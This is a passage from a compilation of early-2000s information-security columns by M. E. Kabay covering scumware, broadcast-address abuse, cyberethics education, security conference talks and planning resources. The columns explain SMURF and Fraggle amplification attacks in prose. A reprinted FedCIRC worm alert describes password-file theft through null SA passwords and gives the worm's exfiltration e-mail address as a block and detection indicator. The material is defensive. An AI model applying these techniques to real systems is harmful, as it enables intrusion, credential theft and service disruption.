To identify undocumented or forgotten adware, spyware and scumware, several real-time scanners can spot trouble for you. For example, Lavasoft makes Ad-aware, a simple, free and

reliable product that scans your system for unwanted intruders and removes these programs from your computer. See http://www.lsfileserv.com/ for details of Ad-Aware.

Scumware (2):
Scumbody's Changing my Web Page

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

In this short series of articles, we're looking at how some kinds of software make unauthorized changes to the appearance of Web pages.

Surf+ is an example of a product that adds unauthorized embellishments to Web pages. Using this product, ordinary words become hyperlinks; the scumware adds underlines and highlights keywords in green. It is thought that about 500,000 users have installed this product. The company makes money by selling links to competing sites; some Webmasters have reported noticeable declines in Web advertising as a result of the modification of user's view of their Web pages. To the horror of some Webmasters, some of the added links send visitors to porn sites who have paid for the, ah, exposure.

TopText (also known as ContextPro) from eZula is bundled with other software (e.g., the KaZaa peer-to-peer file sharing software). Estimates of the installed base run as high as 2 million users. This toolkit is a browser plug-in that gives Internet Explorer the ability to show additional links underlined in yellow lines. The makers defend their product by pointing out that surfers know what they're getting into if they read the end-user license agreements; that their service successfully provides a legal method for increasing business to their clients; and that their system helps to pay for free services for which users would otherwise have to pay.

Greg Searle reported in RISKS 21.47 on yet another way of annoying Web users. A company called Fastclick provides code that hides pop-up windows behind the windows already on screen. These pop-ups remain in place and are revealed only after one minimizes or closes the other windows on screen -- by which time it is difficult to determine where the pop-ups came from. The solution, such as it is, is to disable JavaScript; alternatively, if one can locate the offending sites, one can put them on a firewall's or brower's exclusion list.

Some products such as Gator deliberately _overlay_ banner ads; they insert their own choice of advertisement using exactly the same dimensions as the original banner add and fix their substitute to the same place on the Web page, thus obliterating the original entirely.

Some firewalls also allow the user to reject ads; for example, ZoneAlarm Pro v3.0 has a three settings for ad blocking: HIGH blocks all ads; MEDIUM blocks ads that don't load within a user-stipulated time as well as all pop-up ads; and OFF lets all ads through. Ad-blocking software can perform the same function without firewall capabilities; type "ad blocker" into GOOGLE or another search engine and you'll find dozens of such tools.

So here's the essential problem: a Webmaster creates a Web page and includes links and advertisements. Some other company or person provides software to a user that alters the functions and appearance of the Web page before the user can see the intended Web page. Many vendors and users say that it's the user's own business what they do to the Web page once it

reaches the user's own computer; however, many Webmasters and other content providers argue that their work is being modified without their permission.

Scumware (3):
The Ghosts Within

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

This series of short articles looks at software that makes unauthorized or unexpected changes to content on a user's computer.

In addition to Web-page modifiers, another variant of scumware makes unauthorized changes in the system registry to alter a user's home page. For example, there was a pornographic Web site (now a dead URL) called "mycpworld.com" that exploited typing errors by people trying to reach "mypcworld.com". As described by Lincoln Spector writing for PCWorld, the rogue Web page apparently forwarded browsers to an offshore Web site that included a JavaScript module which inserted an undocumented change in the system registry at every system bootup to alter the browser's home page to the porn site.

In a related problem, some programs from Microsoft make changes to text without notification or control. For example, Microsoft XP versions of FrontPage 2002, Word 2002, Excel 2002, PowerPoint 2002, or Outlook 2002 removes double slashes from all hyperlinks typed in its Office XP suite. There is no way of turning off this "feature."

Some forms of scumware intercepts e-mail. John Gehl and Suzanne Douglas of the estimable NewsScan daily news summary < http://www.newsscan.com > wrote, > Admail, a new technology marketed by Australian online marketing firm Reva Networks, enables advertisers to intercept e-mail messages as they enter the mail server and "wrap" them in advertising content tailored to the recipient's demographic profile. Reva Networks CEO Robert Pickup says the concept has proven more effective than other forms of online advertising. "Because the advertising is embedded within a regular e-mail and not a separate e-mail message from an advertiser, users are more likely to open the message and hence be exposed to the advertising offer." Pickup says he doesn't think consumers will be annoyed by the ads "as long as it's relevant to them." But Australian Consumer Association IT policy officer Charles Britton says he doesn't think that consumers will passively accept advertising with their personal e-mail: "Without some incentive, why would you want advertising in your e-mail?" (ZDNet Australia 22 Jun 2001)
http://dailynews.yahoo.com/h/zd/20010622/tc/tool_feeds_spam_to_your_e-mails_1.html <

Geoffrey Brent, writing in RISKS 21.88, identified yet another weird data modification. If you open two MS-Excel files and copy a cell containing a number and paste it into a cell in the other file, everything works fine. For example, 1.2345 gets copied as 1.2345 regardless of how many figures are showing in the cell. However, if you open file A, copy a number, _close file A_, and then paste the number into file B, you get a value that is identical to what was _visible_ rather than to what was entered in the original cell. Thus in the example above, if 1.2345 in the source were visible as 1.23, the copy would become 1.23 in the destination worksheet. Although this is an undocumented, unauthorized data modification, this time it presumably results from quality assurance failures, not intention or malice.

In the next article, I'll present an ethical and legal analysis of the scumware problem.

Scumware (4):
Whose Web Page Is It, Anyway?

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

In the first two articles of this short series, we looked at scumware, the name some people use for software that modifies the appearance of Web pages without permission from the people who created those Web pages. In this article, I will review some of the ethical and legal issues underlying the trouble over scumware. In particular, the question comes down to who owns the image of a Web page when it's in a browser window?

In an interview with Stephanie Olsen in September 2001, Gator chief Jeff McFadden discussed his view of the ad overlays. First of all, said McFadden, Gator ads can be moved away from the ad they overlay and they are clearly labeled as coming from Gator. They are no different from any other window that might obscure part of another window. Asked about a popup ad for a credit card that overlay an identically-sized ad for a competing credit card, McFadden assured the interviewer that the overlay was popped us because the product deduced that the viewer might be interested in credit cards; the product does not "know" that its ad is overlaying the banner from a competing product.

Why did McFadden launch a lawsuit against the Interactive Advertising Bureau (IAB) in August 2001? McFadden told Olsen that, "Some IAB representatives made some egregious statements about the company--a little bit of name calling, but mainly telling people that they thought that our ad model was illegal. I spoke to the IAB and they said they weren't interested in retracting those statements. And that can have a pretty substantial impact on our business. We have 200 advertisers, many of them Fortune 500 and Fortune 50 companies, and I just can't have them saying that what they're buying from us is illegal. So we filed the action (last) Monday."

But how is what scumware does any different from, say, having a user put a Post-It (TM) note on her monitor that obscures part of a Web page? Surely users can do what they want with Web pages that have been copied to their own cache?

Well, no, not really.

A look at the IAB's 28 August 2001 press release shows an uncompromising title (caps are in the original): INTERACTIVE ADVERTISING BUREAU (IAB) ASSERTS GATOR.COM'S BUSINESS PRACTICES VIOLATE THE CONTRACT, TRADEMARK AND COPYRIGHT INTERESTS OF WEB PUBLISHERS AND ADVERTISERS: UNFAIR COMPETITION AND DECEPTIVE PRACTICES IN VIOLATION OF FEDERAL LAWS."

Before we go any further, let me warn readers using the mandatory disclosure that I am not a lawyer and this is not legal advice. For legal advice, consult an attorney experienced in these areas of intellectual property and contract law.

From my point of view as a lay observer, the arguments presented by the IAB and other

opponents of scumware boil down to the following (and I am using the generic "scumware" instead of focusing only on Gator's products):

* Scumware makes unauthorized changes in the appearance and content of Web pages that affect more than a single user.

* The changes imposed by scumware interfere with contractual relationships between Web content providers and advertisers.

* The introduced advertisements and links may convey a false impression implying relationships and possibly endorsements that do not exist.

* The modifications may be creating an unauthorized derivative work.

From an international perspective, European laws are more restrictive than US laws in defining what are called the _moral rights_ of not only a copyright holder but also the rights of the creators of intellectual property. Scumware, under this doctrine, may violate the content-creator's rights of integrity, disclosure, retraction, and replies to criticism. Unauthorized modification of what users see on a Web page may violate all of these rights.

Those opposing scumware will have to articulate why they don't also go after firewalls and ad-blockers that speed up Web access by reducing the amount of graphical data transmitted to a browser. Perhaps one factor reducing the outrage over _blocking_ ads is that no one is going to be offended by _not_ seeing an ad; although the advertisers may not like the idea, at least there is no chance of casting the Web site in a false light (an important element of the concept of defamation in US jurisprudence).

From a purely ethical (as opposed to narrowly legal) standpoint, it seems to me that scumware is a bad idea on several grounds:

* The people who benefit from the introduced materials (links and ads) are not the people who invested time and money in creating the underlying content; this situation seems unfair.

* If everyone engaged in such behavior, Web pages could become cluttered with extraneous matter and obscure the underlying content entirely – just imagine running several different scumware programs at once to see what might result.

* Obscuring other people's messages and adding unauthorized linkages seems disrespectful of the human beings who created the original Web page; such behavior seems to me to be disregarding the Web designers' feelings and intentions.

In the final installment of this series, we'll look at avoiding and getting rid of scumware.

Protect Broadcast Addresses Against Misuse

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

Shortly after publishing an article about protecting voice-mail, I received the following message from reader A. Robinson (slightly edited, and used with permission):

>You might be interested to know about the voicemail system at one of the "big-5" accounting firms at their offices in Australia. When a person calls after hours they get put through to the voicemail system and can leave a message for a person by choosing their name, or by selecting a "group" of people (which is ideally intended for internal use). Over the course of two weeks several anonymous messages were left to a group that included every single staff member in at least one office of the firm with over 1500 people. The messages were of either rather awful music or maniacal laughter and went for two or three minutes each. Is this the first instance of mass voicemail spam? It was a nuisance for staff arriving in the morning to receive the message, and it also jammed the voicemail system because so many people were trying to check their messages at once [because the messages were so long].<

I don't know about its being the first instance, but this case illustrates the dangers of configuring uncontrolled broadcast addresses on any network. As the reader notes, such addresses should be restricted to internal use. I would add that they should be restricted to authorized internal users. Broadcast e-mail addresses, for instance, should not be used lightly by employees; sending a message to everyone in the organization has costs, and the costs grow with volume. For example, if the average hourly extended cost (wages + overhead) is even a modest $20 per employee, sending a useless message that requires 1 minute to read to 1,000 people who don't need it will cost more than $300 in wasted resources. Wasting one minute of the time of even 10 professionals who could be billing $300/hour AND who cost $100/hour in extended costs could be construed as a total loss of $66. Does an organization really want to spend $66 on the latest urban myth, virus hoax or joke?

Worse still, people who bombard large numbers of their colleagues with unnecessary copies of detailed communications risk losing credibility as serious collaborators. Eventually, such broadcasters will find that most of their recipients ignore all of their messages, important or not.

On the technical side, the well-known SMURF denial-of-service attack depends on the unprotected IP broadcast address in a large network with a fast connection to the Internet. The attacker sends requests (e.g., a ping) with a forged originating address in the IP packet header to the broadcast address of an intermediate host, known as the amplifying network. The request is replicated and sent to all IP addresses on the network; these obligingly respond to the request by sending data to the apparent originator – which in this case is actually the designated victim of the denial-of-service attack. Thus the uncontrolled IP broadcast address is used to amplify the original request; as long as the amplifying network's bandwidth is greater than the bandwidth of the victim's Internet connection, the victim's connection will be swamped.

A similar attack is known as Fraggle; Diane Levine and Gary Kessler describe this attack as follows: ". . . [T]hje attackers send spoofed User Datagram Protocol (UDP) packets instead of

Echo messages to the broadcast address of the amplifying network. Each system on the amplifying network that has the specific broadcast address port enabled will create a large amount of traffic by responding to the victim's host; if the port is not enabled, the system on the amplifying network will generate ICMP Host Unreachable messages to the victim's host. In either case, the victim's bandwidth is consumed." – Chapter 11, "Denial of Service Attacks," in _Computer Security Handbook, 4th Ed._ (Wiley, 2002).

The essential protective measure is to enable ingress filtering at the firewall to blocking all external attempts to use a network's broadcast address.

And if you have employees who abuse internal broadcast addresses for voice mail and e-mail, tell them to join a community radio station.

Cyber-Ethics Education (1): Get Involved

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

Elizabeth Kennedy, Associate Director of the Cyber-Ethics Education Program at Norwich University, is a young woman with a mission. For the past year, she has been researching how children in our schools are being taught about the ethical uses of computers and networks.

Why should network and systems managers be interested in cyberethics education? Education matters because criminal hackers and the media have been given free reign to teach kids that breaking into your systems is OK – as long as they don't change anything. The concept of the trusted computing base is utterly unknown to these people (or they are simply ignoring the issue). Unless we in the technical community get involved in teaching kids about what really happens when our systems are attacked, the number of attackers will continue to grow. Reducing the acceptability of criminal hacking is one of the methods we can use to reduce the overall threat to our systems in years to come.

Ms Kennedy has delivered lectures in a number of Vermont schools as well as to Rotary clubs, parent-teacher organization and state-wide teaching conferences since she began working on this project in October of 2000. In her discussions with teachers and principals, she has often been told that there simply is no hacking problem at the particular schools she's visiting. No, no, say these authorities, no one in our school is involved with that sort of nonsense. Unfortunately, in school after school, the authorities are wrong. Kennedy makes a point of chatting with children about their understanding of hacking; within minutes, she is consistently told about kids who are hackers or who participate in other unethical activities such as false identity, or pretending to be 18 in order to participate in certain chat rooms, view pornographic material or gamble online.

Some of these kids have gotten involved with the hacker groups encouraged by *2600, The Hacker Quarterly*. Kennedy attended a monthly meeting at a Borders Books store in Burlington Vermont a few months ago; the date and time were posted on the 2600 Web site. She found a number of children under age 18 sitting with people ranging into their 30s. These kids are being socialized into a culture where attacking your systems is perceived as fun. The older teenagers and young adults become role models for the impressionable children, who will perhaps in turn become criminal hackers as they develop their technical – but not ethical – knowledge.

Kennedy has created a Web site at http://www.norwich.edu/cyberethics that has jargon-free research, articles and activities for parents, educators and kids to learn about the responsible use of technology. Introduced on the site is "E-dog" a technology-age superhero that Kennedy hopes children will recognize and model their ethical computing practices after. Kennedy believe that teaching children responsibly in a "cyber" world is no different than teaching responsibly in the "real" world and that is the message that is conveyed in all of her work be it in a lecture, in an article she writes or on her Web site. Her White Paper on Cyberethics < http://www.norwich.edu/cyberethics/whitepaper.html > has an excellent introduction suitable for

parents and teachers and includes links to many useful cyberethics resources.

In the next part of this two-part series, I will explain how you can support the cyberethics project by voluntarily sending donations as thanks for useful materials we have freely posted on the Web. To contribute to these efforts, make your check out to NORWICH UNIVERSITY CYBERETHICS and address it to Elizabeth Kennedy / Cyber-Ethics Program / Norwich University / 158 Harmon Drive / Northfield, VT 05663-1035. Kennedy's phone number is 802-485-2250 and her e-mail address is < mailto: ekennedy@norwich.edu >.

Cyber-Ethics Education (2):
Send Money

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

As I explained in part one of this two-part series, Elizabeth Kennedy, Associate Director of the Cyber-Ethics Education Program at Norwich University, is a young woman with a mission. For the past year, she has been researching how children in our schools are being taught about the ethical uses of computers and networks.

Kennedy has gotten me involved in her projects, and you, the readers of this column, are invited to join in. I have published some simple articles on various dangers and ethical issues in the use of the Internet on my own Web site at < http://www.mekabay.com/cyberwatch/index.htm >:

- pedophiles
- online dating and cybersex
- hate groups
- pornography
- incorrect information
- hoaxes
- threats
- viruses and other malicious self-replicating code
- junk e-mail
- chain letters and Ponzi schemes
- get-rich-quick schemes
- stolen software
- stolen music and video
- plagiarism
- criminal hackers & hacktivists
- online auctions
- online gambling
- buying on the Web
- games
- spyware
- addiction
- theft of identity.

These articles can be freely reproduced and used within your own organization to sensitize your staff to safety on the Internet; this approach increases security awareness and can help get your staff to feel that they, too, are involved in security. Your staff can then bring the materials out into their own families and social groups, including schools, to help students, teachers, staff and administrators to understand some of the problems that we face on the information superhighway.

If you know anyone on the staff of your local community newspaper, please encourage them to reprint these articles freely.

In addition, Kennedy and I are planning a one-hour video in the form of an exciting news broadcast about these subjects that will be made available through her site. With the help of a professional broadcaster on a local cable TV channel in Vermont, I have already appeared in two test videos and they are being repeatedly broadcast on the local cable channel here in Vermont to much positive response by viewers.

Here's how you can help. As an individual, if you like what Kennedy is doing and find the material I have published on my Web site to be useful to you in your own life and work, send Kennedy a contribution of $10 or more (checks made out to Norwich University Cyberethics; no cash please) to support her research project. She will list the people who are willing to have their name added to a roll of honor on her site.

In addition, I request that corporations which use any of my Web site materials for internal training be kind enough to send Kennedy a check made out to Norwich University Cyberethics for $100 if at all possible.

Our hope is that with your help, we can continue Kennedy's work to spread this information to as many companies, schools, social organizations, families and children as possible. Corporate sponsors will be listed with gratitude in a special section of Kennedy's Web site (always with permission).

To contribute to these efforts, make your check out to NORWICH UNIVERSITY CYBERETHICS and address it to Elizabeth Kennedy / Cyber-Ethics Program / Norwich University / 158 Harmon Drive / Northfield, VT 05663-1035. Kennedy's phone number is 802-485-2250 and her e-mail address is < mailto: ekennedy@norwich.edu >.

MSSQL Worm Attacks SQL Servers with Canonical Passwords

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

I don't normally circulate alerts, but the recently discovered MSSQL worm has such serious implications for anyone running MS SQL Server that I am making an exception. The new worm takes advantage of systems where standard default passwords or no password at all have been assigned to critical accounts.

The following is a reformatted and lightly edited version of a FedCIRC notice distributed to US Federal Government agencies.

* * *

SUMMARY: A new worm is actively spreading in the wild; the worm exploits null SA account passwords on MS-SQL servers (port 1433/tcp).

IMPACT: Systems may be compromised via the worm; a compromised system will scan other systems and will e-mail out a copy of the local password database (SAM database), exposing additional services and accounts. Network connectivity and performance may be affected by a large number of infections. Users may also be affected by proactive or reactive measures taken in response to the worm (blocked connectivity, system unavailability, additional filtering, etc.).

DETAILS: Multiple sources are reporting a significant rise in probes for TCP port 1433 (MS-SQL server); this service is known to have vulnerabilities, including null passwords (in some cases, by default at installation). A worm has been captured in the wild (currently dubbed MSSQL or sqlsnake) which exploits null SA account passwords on MS-SQL servers. If the worm finds a vulnerable system, it will add a Guest user, e-mail the password file to an external e-mail address (ixltd@postone.com), and scan for other vulnerable targets.

MS-SQL server may be installed directly or as part of the following applications: Access2000, Visio, MS Project Central, and Visual Studio 6. In the cases of a package installation, MS-SQL server may be installed as Microsoft SQLServer Desktop Edition (MSDE).

RECOMMENDATIONS: The following recommendations may be applied independently or in combination:

To prevent a compromise:

* Block port 1433/TCP at the network perimeter and any other network access control points (internal and external).

* Disable the MS-SQL service unless needed.

* Ensure that strong passwords exist for MS-SQL servers, SA account; FedCIRC recommends changing these passwords regardless.

* Ensure MS-SQL servers are patched.

* Block outbound e-mail to ixltd@postone.com .

* Monitor information sources for additional alerts regarding updated patches and/or attack activity.

* Maintain IDS detection files.

* Monitor IDS and Firewall logs for indications of attack and/or system compromise.

* Ensure that antivirus applications are installed, running, and current.

To detect a compromise:

* Consider scanning your own systems for listeners on port 1433; site security policies and procedures should always be followed when conducting any network scanning activity.

* Outbound traffic to port 1433/TCP might indicate a compromised system (the source address).

* Outbound e-mail to ixltd@postone.com might indicate a compromised system (the sending address/system).

* The file "services.exe" in the directory system32\drivers indicates a likely compromise; file properties may indicate that this file is a copy of fscan.exe (part of the worm) and the file may be marked "hidden." This file may be deleted, and doing so will stop worm propagation.

To recover from a compromise:

* Follow established incident response and recovery processes in your organization.

* If possible, disconnect the system from the network while cleaning it up.

* Change all passwords stored on the system (this will likely include changing passwords on other systems).

Scott Charney on Security

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

Scott Charney feels that society has introduced computing technology backwards: normally we introduce technology to adults, who then train their kids. In our field, kids have learned about computers without any guidance from their parents or any other adults. He has often found script kiddies attacking government computers; FBI agents show up at the family home and ask the parents, "Do you know where your son is?" "Yes," they would answer, "he's upstairs playing with his computer." "Well, actually," would respond the FBI agents, "he's breaking into the DoD." Almost all of the parents would say that (1) they were glad their kid had a hobby; (2) it was a technical hobby that might help him get a job; (3) they were glad he wasn't on the street selling crack.

Charney is one of the best-known attorneys in information security. Respected as an excellent speaker at professional security conferences, Charney was chief of the Computer Crime and Intellectual Property Section (CCIPS) in the Criminal Division at the U.S. Department of Justice (DoJ) from 1991 to 1999. He worked as a principal for PricewaterhouseCoopers and then in January 2002, Microsoft announced that he had agreed to become the Chief Security Strategist for the corporation < http://www.microsoft.com/presspass/press/2002/Jan02/01-31CharneyPR.asp >. He started work on April Fool's Day of this year.

Speaking at the 6th National Colloquium on Information Systems Security Education (NCISSE, < http://www.ncisse.org/conference2002/ >) at the Redmond WA campus of Microsoft Corporation on Tuesday the 4th of June 2002, Charney continued with his analysis of what's wrong with INFOSEC today. He said that kids who habitually hack into other people's computers usually know that they shouldn't break into their neighbor's house; they don't read their friends' diaries or take their homework. But when you ask if it's OK to break into their friends computer, they look puzzled and say, "Sure, why not?" They know the rules about houses, books and homework because they've been taught explicitly since childhood by parents, teachers and other adults. Where information security is involved, though, nobody's even raised the ethical issues with them.

In the real world, perceptions of security are rooted in ignorance. For example, many people are afraid of transmitting their credit card number over the Internet – but there has never been a single documented case of capturing a credit-card number in transit. It's hard to capture the right packets in the network. And why would anyone try to capture one credit-card number when they can steal 100,000 at the server? That's why we have to encrypt the data on disk.

He was driving around Seattle recently when he heard an advertisement from a local hospital that announced that they could monitor signals from patients' heart pacemakers. Now, Charney claims not to be innovative; he generally waits for bad guys to do bad stuff and then he catches them and puts them in jail. But, he said, even he could see that if the pacemaker were made to _receive_ signals, there could be a lot of trouble. Imagine your pacemaker's firewall announcing that it repelled half-a-dozen attacks on your life. . . .

Charney emphasized that more than half of the computers in use today are *unmanaged.* We need

to implement effective security if we want to continue progressing. Doing nothing is not an acceptable choice. We need industry-wide efforts to build better security into all of our software and systems. We should implement security by design , by default and by deployment. That is, security should be part of the thinking that goes into product design; defaults should provide reasonable security out of the box; and updates and fixes should be pulled automatically to systems rather than requiring manual intervention.

Trustworthy computing should also respect principles of fair information management; e.g., notice to the data subject, choice of application, access to records and the opportunity for correcting mistakes, and enforcement of privacy policies. Asking "Who _owns_ the data" is the wrong question because it gets people involved in legal hair-splitting; the question should be "how is the information handled?"

You know, I think Microsoft may finally be getting religion. I'm sure that participants in the colloquium wish Mr Charney well in his quest for better software and network security.

View From the White House:
Fix Vulnerabilities Immediately

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

One of the most interesting lectures at the Sixth National Colloquium on Information Systems Security Education (see http://www.ncisse.org) in Seattle (3-6 June 2002) was a speech by Dick Clarke, the Special Advisor to the President for Cyberspace Security. He stated that cyberspace security would depend primarily on the private sector and that academia will play a vital role in raising the level of security in the United States both in research and in education.

Mr. Richard A. Clarke began his federal service in 1973 in the Office of the Secretary of Defense as an analyst on nuclear weapons and European security issues. On October 9, 2001, he was appointed Special Advisor to the President for Cyberspace Security < http://www.whitehouse.gov/news/releases/2001/10/20011009-4.html >; as such, he coordinates interagency efforts to secure information systems, particularly in the event of a disruption, when must coordinate efforts to restore critical systems. He strongly supports the private sector, which owns and operates the vast majority of America's critical infrastructure.

Mr Clarke said that this year has seen many changes in security thinking. After the events of September, security rose to top priority in everyone's mind; however, he opposes the use of the word "cyberterrorism" because it suggests that known terrorist groups will use information warfare techniques against us. But this is a limitation in our thinking according to Clarke: we have never seen a terrorist group apply information warfare against us. They use it for communications and recruitment, but never for direct attacks. In any case, it doesn't matter who's causing damage to our information infrastructure. We're never going to be able to tell people in advance on a consistent basis who's going to attack what, when and how, so let's worry about the vulnerabilities, not the threats. Mr Clarke asserted that private sector organizations don't need to wait for the intelligence services to find the attackers. Do your vulnerability analysis, rank the vulnerabilities, and start solving the problems step by step. Said Clarke, "The problem is yours, not ours. It's a problem where law enforcement, the military and the government cannot secure your systems. We're never going to allow the FBI or the US Army to tell a bank how to configure their networks."

As for US federal government efforts, after 9/11 agencies examined the vulnerability assessments for a number of agencies and discovered that many of them were _not_ planning for remediation. The requests were sent back to the agencies and the result of the new focus was a 64% increase in IT security spending – a $4.5B increase in the budget. So there's going to be a significant spike in security spending this fall as the budgets move through the process.

* * *

In the next article, I'll report on Mr Clarke's comments about the role of higher education in national information assurance.

White House to Universities: Tighten Up Security

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

As I mentioned in the previous report in this series, one of the most interesting lectures at the Sixth National Colloquium on Information Systems Security Education (see http://www.ncisse.org) in Seattle (3-6 June 2002) was a speech by Dick Clarke, the Special Advisor to the President for Cyberspace Security. He stated that cyberspace security would depend primarily on the private sector and that academia will play a vital role in raising the level of security in the United States both in research and in education.

Clarke said, "The national infrastructure protection plan is being written not by bureaucrats but rather by the people in the private sector, universities and state and local governments who are experts in their section of the critical infrastructure. We have asked higher education to participate in this effort. First, help us design the research projects. We inherited the Internet, which does not incorporate security features. We don't have to accept it as it is; we can rebuild it. We need secure operating systems; Bill Gates says he will devote the resources of this enormous corporation to developing a security operating system. We need redesigned routers. In a billion-node Internet, do we still want to use TCP/IP? Today's wireless protocols? So one of the elements of the national plan is a research agenda."

He continued, "The second thing we need from the academic sector is to teach. We have an entire generation of computer users who, in the absence of security education, will continue to make their parents' mistakes. We will have about 450 cyber-corps scholarship recipients next year; we need ten time that number. We need evidence that the program is effective. We're looking forward to approval of the Congress for $19B of dollars in increased scholarships."

Finally, Mr Clarke called for a radical improvement in university computer security: "The third element is securing the universities' own networks, which are the major source of hack attacks today: probably three-quarters of the total number of attacks. The attacks may not originate there, but most of them jump through them. Perhaps because of a distorted sense of academic freedom, universities do not in general apply strong security measures to their own systems. These enormous networks will continue to be hosts for attacks by hackers and, perhaps, terrorists. Those of you teaching security in universities need to champion security in your own organizations. If the university is a launching pad for attacks, it may cause hundreds of millions of dollars of damage to the national economy."

Clarke announced that his office has supported setting up an association of university presidents and that he thinks that spending on university security is only 10% of what it should be. He said, "We need to change universities so that they are no longer the worst-secured component of the American economy."

* * *

As a university professor, I can affirm that academics are often among the worst violators of what one would think were common-sense rules for protecting information. In a number of institutions, I have seen professors repeatedly leave their office doors open and their laptop computers logged on without any kind of protection – sometimes for hours at a time. Honor code or not, the temptation to students to modify their own grades (and, as camouflage, the grades of some of their peers) must be intense.

What is clear is that universities, like any other organizations wishing to be good Internet participants, should implement at least the following principles for their networks:

(1) Firewalls should be configured for egress filtering that prevents all TCP/IP packets with forged origination addresses from leaving the system;
(2) Firewalls should forbid entry of all packets with forged origination addresses within the university's own IP address space;
(3) All SMTP servers should be configured to prevent spam relays through those points.
(4) Some specific named individual(s) should be explicitly responsible for monitoring appropriate resources (e.g., CERT/CC alerts < http://www.cert.org > or the ICAT Metabase / Common Vulnerabilities and Exposures database < http://icat.nist.gov/icat.cfm >) and patching critical vulnerabilities as appropriate.

As for monitoring and controlling staff, student and faculty use of university computers – university property, after all – discussion groups abound with what seems to me to be denial of the problems caused by irresponsible use of the Internet. Preventing or punishing users for trafficking in stolen music and software, downloading or uploading pornography, or writing scurrilous postings to Usenet groups using their university-assigned e-mail identities are perceived by some in the university community as unacceptable limitations on speech. But this topic is so vast that I will reserve a detailed exploration for a possible later series of articles.

New Contingency Planning Document from NIST

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

The Information Technology Laboratory (ITL) of the National Institute of Standards and Technology (NIST) has announced publication of the free, Web-based _CONTINGENCY PLANNING GUIDE FOR INFORMATION TECHNOLOGY SYSTEMS _ edited by Elizabeth B. Lennon. The following is a slightly-edited quotation from the release note circulated to subscribers of the _ITL Bulletin for June 2002_ (used with permission of the editor).

NIST's Information Technology Laboratory has published a recommended guidance document on contingency planning for federal departments and agencies. Industry will find the recommendations valuable as well. NIST Special Publication (SP) 800-34, which provides guidance to individuals responsible for preparing and maintaining IT contingency plans. The guide discusses essential contingency plan elements and processes, highlights specific considerations and concerns associated with contingency planning for various types of IT systems, and provides examples to assist readers in developing their own IT contingency plans. The document, among others, is available in a printable Acrobat PDF file at < http://csrc.nist.gov/publications/nistpubs/index.html >. While you are there, note the extensive links on the left column of that page, including "Alerts", which brings you to a useful list of current vulnerability alerts called the "Vulnerability and Threat Portal."

The IT contingency planning guide identifies fundamental planning principles and practices to help personnel develop and maintain effective IT contingency plans. The principles meet most organizational needs; however, each organization may have additional requirements specific to its own processes. The document provides guidance to help personnel evaluate information systems and operations to determine contingency requirements and priorities. The guidance also provides a structured approach to aid planners in developing cost-effective solutions that accurately reflect their IT requirements and integrate contingency planning principles into all aspects of IT operations.

The guidance presented should be considered during every stage of contingency planning, starting with the conceptualization of contingency planning efforts through plan maintenance and disposal of the contingency plan. If used as a planning management tool throughout the contingency planning process, the document and its appendices should provide users with time- and cost-saving practices.

The guide presents contingency planning principles for the following common IT processing systems:

* Desktop computers and portable systems (laptop and handheld computers)

* Servers * Websites

* Local area networks (LANs)

* Wide area networks (WANs)

* Distributed systems

* Mainframe systems.

The document discusses common technologies that may be used to support contingency capabilities. Given the broad range of IT designs and configurations, however, as well as the rapid development and obsolescence of products and capabilities, the scope of the discussion is not intended to be comprehensive. Rather, the document describes practices for applying technology to enhance an organization's IT contingency planning capabilities.

The document outlines planning principles that may be applied to a wide variety of incidents that could affect IT system operations. The scope includes minor incidents causing short-term disruptions to disasters that affect normal operations for an extended period. Because IT systems vary in design and application, specific incident types and associated contingency measures are not provided in the document. Instead, the planning guide defines a process that may be followed for any IT system to identify planning requirements and develop an effective contingency plan.

Planning Intranet Security

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

A reader writes, "I am looking for a template for a security Plan for an Intranet that we are developing. Can you point me to a template for a security plan for an internet or intranet?"

* * *

The most important piece of advice is that templates are a good tool for policies, but nothing can substitute for a sound analysis of your own situation. No one published plan can suit all possible network designs, applications, and threats. As always, you have to

* Gain upper management support for developing security policies and procedures;

* Form an information protection working group with representation from all sectors of the organization, including technical staff, production workers, public relations people, legal staff, facilities security and so on;

* Evaluate your functional requirements;

* Define the value of protecting the different kinds of information your users will work with (valuation will include the costs of unavailability, errors, unauthorized disclosure, forgery, excessive security and so on);

* Evaluate the most important threats in your particular business and technical environment;

* Define an acceptable strategy for safeguarding information resources without crippling productivity, wasting money, or frustrating employees in their work;

* Review and adjust proposed policies so that all sectors of the organization agree to work towards effective implementation;

* Include awareness training and ongoing programs to maintain and publicize changing security policies as needed;

* Assign responsibility for keeping security as a living component of everyday work.

Ho-hum, but you knew that, right? OK, here are some resources for you. In the space available, I am listing just a few good starters, and omission of a resource is in no way to be construed as criticism.

(1) Let's get the shameless plug out of the way first. Several chapters in the CSH4 provide useful preparatory reading:

Bosworth, S. & M. E. Kabay (2002), eds. _Computer Security Handbook, 4th Edition._ Wiley (New York). ISBN 0-471-41258-9. 1184 pp. Index. Chapters 15, 17, 20, 21, 22, 38, 31, 32, 33,

35, & 37 come to mind as most relevant <g>.

(2) Take a look at the text below; I haven't seen it myself, but the blurb includes positive notes from well-respected security experts:

McCarthy, L. (1998). _Intranet Security : Stories from the Trenches_. Sun Microsystems Press (Santa Clara, CA). ISBN 0-13-894759-7. 288 pp.

(3) _Intranet Journal_ has an extensive list of articles about intranet security at < http://www.intranetjournal.com/security/ >.

(4) The English edition of the German _IT Baseline Protection Manual_ has a number of relevant sections in the Network security chapter (#6) at < http://www.bsi.bund.de/gshb/english/etc/k6.htm > but see the site map at < http://www.bsi.bund.de/gshb/english/etc/navie.htm >.

